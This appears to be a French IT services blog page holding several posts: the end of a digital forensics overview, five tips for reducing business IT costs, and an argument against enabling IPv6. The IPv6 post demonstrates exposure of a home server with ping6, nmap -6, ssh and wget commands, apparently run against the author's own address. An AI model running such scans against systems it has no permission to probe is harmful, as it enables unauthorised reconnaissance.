Cela consiste en la recherche de fichiers ou d'éléments en relation avec la demande. On peut commencer par s'imprégner rapidement de l'organisation de l'utilisateur, pour regarder les fichiers existants, notamment sur son bureau ou dans le/les dossiers contenant ses documents. Il n'est pas impossible de trouver rapidement des données intéressantes mais on ne peut pas se contenter de ça. Il faut tenter de récupérer des fichiers effacés ou des fragments de fichiers. Puis la recherche peut se faire d'un grand nombre de manières. Je ne les détaillerai pas ici, mais on peut notamment effectuer des recherches par extensions, par signatures ou par empreintes. Il est également possible d'effectuer des recherches par mots clés ou expression régulières sur l'ensemble de l'image. Si l'on est intéressé par une période précise, on peut généralement utiliser une vue calendaire ou filtrer les éléments par date.

Qu'ils appartiennent encore au système de fichiers ou non, les éléments que l'on a identifiés sont majoritairement encodés, et ce d'une manière différente pour chaque type de fichiers. De plus, le contenu d'un fichier peut ne pas être pertinent ou l'être moins sans les propriétés liées au système de fichiers (dates, chemin, etc.), sans les métadonnées qu'il contient (dates, auteur, etc.) ou sans son origine (réseau, clé USB, Internet, etc.). Ainsi, il ne suffit pas de trouver et d'extraire des données, il faut aussi les interpréter, y compris celles qui ne sont pas directement visibles par l'utilisateur.

Il s'agit de la partie la plus longue et la plus délicate. On craint toujours d'être passé à coté d'éléments qui pourraient être pertinents.

  1. "Présenter"

La présentation des résultats est finalement la phase la plus importante. En effet, c'est tout ce qu'il restera à l'issue des opérations. Elle prend généralement la forme d'un rapport qui doit rester accessible à tous. Il doit donc être assez détaillé pour inclure tous les éléments pertinents que l'on a trouvés, tout en restant compréhensible par une personne qui n'est pas spécialiste de l'informatique. Et c'est la toute là difficulté.

C'est bien de savoir ce que c'est, mais comment fait-on ?

Toutes ces étapes se font à l'aide d'outils spécialisés. Pour la phase de collecte, il existe des logiciels qui permettent de faire des images sans modifier l'original mais il est préférable d'utiliser des matériels dédiés. On trouve des duplicateurs autonomes ou de simples bloqueurs. Les plus connus sont ceux de la gamme Tableau.

Pour les autres phases, les logiciels d'investigation numérique généralistes, qu'ils soient commerciaux (X-Ways Forensics, EnCase, FTK entre autres) ou libres (DFF et The Sleuth Kit), sont primordiaux. Cependant, ils nécessitent d'une part une connaissance de l'informatique en général et des concepts liés à l'investigation numérique et d'autre part, une certaine expérience qui permet de les prendre en main.

Même s'il s'agit d'un domaine d'activité réservé à des spécialistes, la possibilité d'une investigation numérique doit être prise en compte dans la gestion informatique quotidienne d'une entreprise.

5 conseils pour réduire les coûts informatiques en entreprise

5 conseils pour réduire les coûts informatiques en entreprise

La maîtrise des coûts est l'un des éléments clés de la rentabilité de votre entreprise. Les coûts liés au système d'information peuvent représenter jusqu'a 10 % de votre chiffre d'affaire. Il s'agit donc d'un poste important qui nécessite une attention particulière pour contenir les dépenses, tout en assurant un service performant, répondant à vos ambitions et en adéquation avec les demandes des utilisateurs.

Parce que, par nature, les systèmes informatiques sont complexes et qu'ils évoluent rapidement, le calcul du TCO (Total Cost of Ownership) est difficile et la gestion des dépenses peut sembler délicate, surtout lorsqu'on ne parle pas un minimum la langue. Mais voici 5 conseils simples pour réduire ou contenir vos coûts informatiques :

  1. Allonger la durée de vie du matériel. Le matériel représente en moyenne 1/3 du budget alloué à la DSI. Avec un cycle de vie souvent en décalage avec celui de l'entreprise, la durée de vie d'un matériel bien entretenu n'est limité que par son obsolescence. Plutôt que de remplacer systématiquement un matériel, il est souvent possible de le recycler ou de le moderniser à moindre frais. A titre d'exemples :
    • Un ancien poste de travail peut être réutilisé pour de la saisie logistique.
    • Deux machines en panne peuvent être combinées en une seule fonctionnelle.
    • Une simple réinstallation, une nouvelle carte réseau dans un serveur ou un ajout de RAM dans un poste de travail peuvent leurs permettre de gagner quelques mois, voire années d'utilisation.

  1. Revoir régulièrement ses contrats. Qu'il s'agisse d'abonnements chez un opérateur télécom, de la location d'un photocopieur multifonctions ou encore de contrats de maintenance/services, il faut s'inquiéter périodiquement de leur pertinence vis-à-vis de vos objectifs et des besoins. S'ils sont arrivés à terme, il ne faut pas hésiter à essayer de les renégocier avant de les renouveler. Pour la maintenance, les contrats sont généralement résiliables moyennant un préavis. Par contre, ils sont souvent soumis à une tacite reconduction. Cette dernière peut coûter en cas d'oubli. Pour les télécoms, les offres évoluent rapidement pour inclure toujours plus de services.

  2. Réduire l'utilisation des consommables. En matière informatique, il s'agit surtout de l'électricité. Aujourd'hui les stations de travail démarrent rapidement et peuvent facilement être éteintes ou mise en veille profonde la nuit et le week-end. Cela peut permettre d'économiser 30 à 50% des dépenses énergétiques liées au fonctionnement de l'informatique. Il s'agit également des consommations liées aux impressions. La mise en place d'une politique d'économie de ce poste peut aussi permettre de réduire considérablement les coûts. Il convient notamment d'encourager les impressions multiples, recto-verso et en noir et blanc, et de s'efforcer à ne réaliser que les impressions indispensables. Cela peut aussi être le commencement de la mise en place une GED.

  3. Faire appel à un prestataire externe. Parce qu'elle n'a pas besoin d'une personne à temps plein, une petite PME n'a aucun intérêt a gérer elle-même toute son informatique. De plus, le système d'information est un patrimoine essentiel qu'il convient de confier à un spécialiste. En externalisant tout ou partie de la fonction à un prestataire de confiance, on peut concentrer ses ressources sur son cœur de métier et cela permet de rationaliser les frais.

  4. Eviter les contrats à trop long terme. Certes ils permettent de baisser rapidement les dépenses mais ça n'est bien souvent qu'un phénomène momentané. En effet, ils induisent des coûts fixes et répondent à un besoin à un instant T. Ainsi, si les besoins diminuent, sans payer de lourds frais de résiliation, les coûts ne changeront que difficilement avant la fin de l'engagement. Et à l'inverse, si les besoins augmentent, ils peuvent limiter le potentiel de développement.

Ces quelques éléments vous permettent de réduire les coûts mais ce n'est pas quelque chose sur lequel vous ne devriez vous pencher qu'une à deux fois par an. La gouvernance de votre système d'information doit s'inscrire dans un processus d'amélioration continue de manière à conserver un niveau de service en accord avec vos objectifs et les besoins des utilisateurs.

La sécurité de votre réseau professionnel en IPv6 vs IPv4

Ou pourquoi je recommande fortement de ne pas activer IPv6 ?

L'IP (pour Internet Protocol), c'est le protocole qui permet (entre autres) à Internet de fonctionner. La version la plus utilisée est IPv4. Mais principalement en raison d'un manque d'adresse, on a inventé IPv6 pour le remplacer à terme. En attendant, elles coexistent et fonctionnent en parallèle.

A titre informatif, une adresse IPv4 ressemble à ça :

192.168.32.24

Et une adresse IPv6, à ça :

2a01:e37:8b3f:47a0:afbc:33ff:feb5:efa7

Pour vous connecter à Internet, en IPv4 en général votre FAI ne vous fourni qu'une seule adresse. Avec plusieurs appareils (PC, portable, tablette, etc) et en ne disposant que d'une seule adresse IP, votre box, qui fait office de routeur, utilise le NAT (pour Network Address Translation) et possède donc deux adresses IP, une publique et une privée. Les appareils, eux, n'ont qu'une adresse privée.

nat-1

Ainsi, de manière imagée, lorsque vous demandez, par exemple, une page Internet à votre navigateur, en fait vous demandez à votre routeur de le faire en votre nom et de vous transmettre la réponse.

Cependant le NAT présente un petit inconvénient. Les connexions ne peuvent être initiées que depuis le réseau privé :

nat-2

De ce fait, tous les services proposés par vos appareils (partage de fichiers, caméra, etc) ne sont disponibles que depuis votre réseau local. Pour qu'un service soit accessible depuis Internet, il faut faire une redirection de port. Ça n'est pas quelque chose qu'on met en place par hasard et cet inconvénient se transforme en fait, en avantage considérable en terme de sécurité.

En IPv6, votre FAI fourni une plage d'adresses de manière à ce que chaque appareil dispose de sa propre adresse publique. Ainsi, les connexions peuvent être initiées dans les deux sens :

notnat

Ainsi, après avoir activé l'IPv6 sur ma connexion, depuis une autre connexion IPv6, j'ai pu pinger mon serveur, pourtant habituellement "caché" derrière ma box ADSL en IPv4 :

ping6 _@IPv6_

ping

On peut faire un petit nmap pour voir ce qui est accessible :

nmap -6 _@IPv6_

nmap

Et on a accès en ssh et aux serveurs http :

ssh user@_@IPv6_

ssh

wget -6 http://_@IPv6_

wget

Et bien évidement tous les autres services sont aussi accessibles...

Vous n'avez pas d'enregistrement « AAAA » dans votre configuration DNS, donc vous avez peu de chance qu'on tombe, par hasard, sur votre adresse IPv6. Par hasard, non ! Mais maxmind fourni une base et on trouve également des sites qui donnent des adresses pour un service particulier. Par exemple voici les nœuds IPv6 du réseau bitcoin : http://btcnodes.org/ipv6. Enfin, chaque site que vous visitez enregistre votre adresse.

Pour résumer, en IPv4, vos services (partage de fichiers, caméra, etc) sont cachés derrière votre box ADSL et donc inaccessibles depuis Internet alors qu'en IPv6, tous vos services sont directement accessibles depuis Internet.

C'est pourquoi, à moins que cela ne soit nécessaire et si c'est possible, je recommande fortement de ne pas activer IPv6.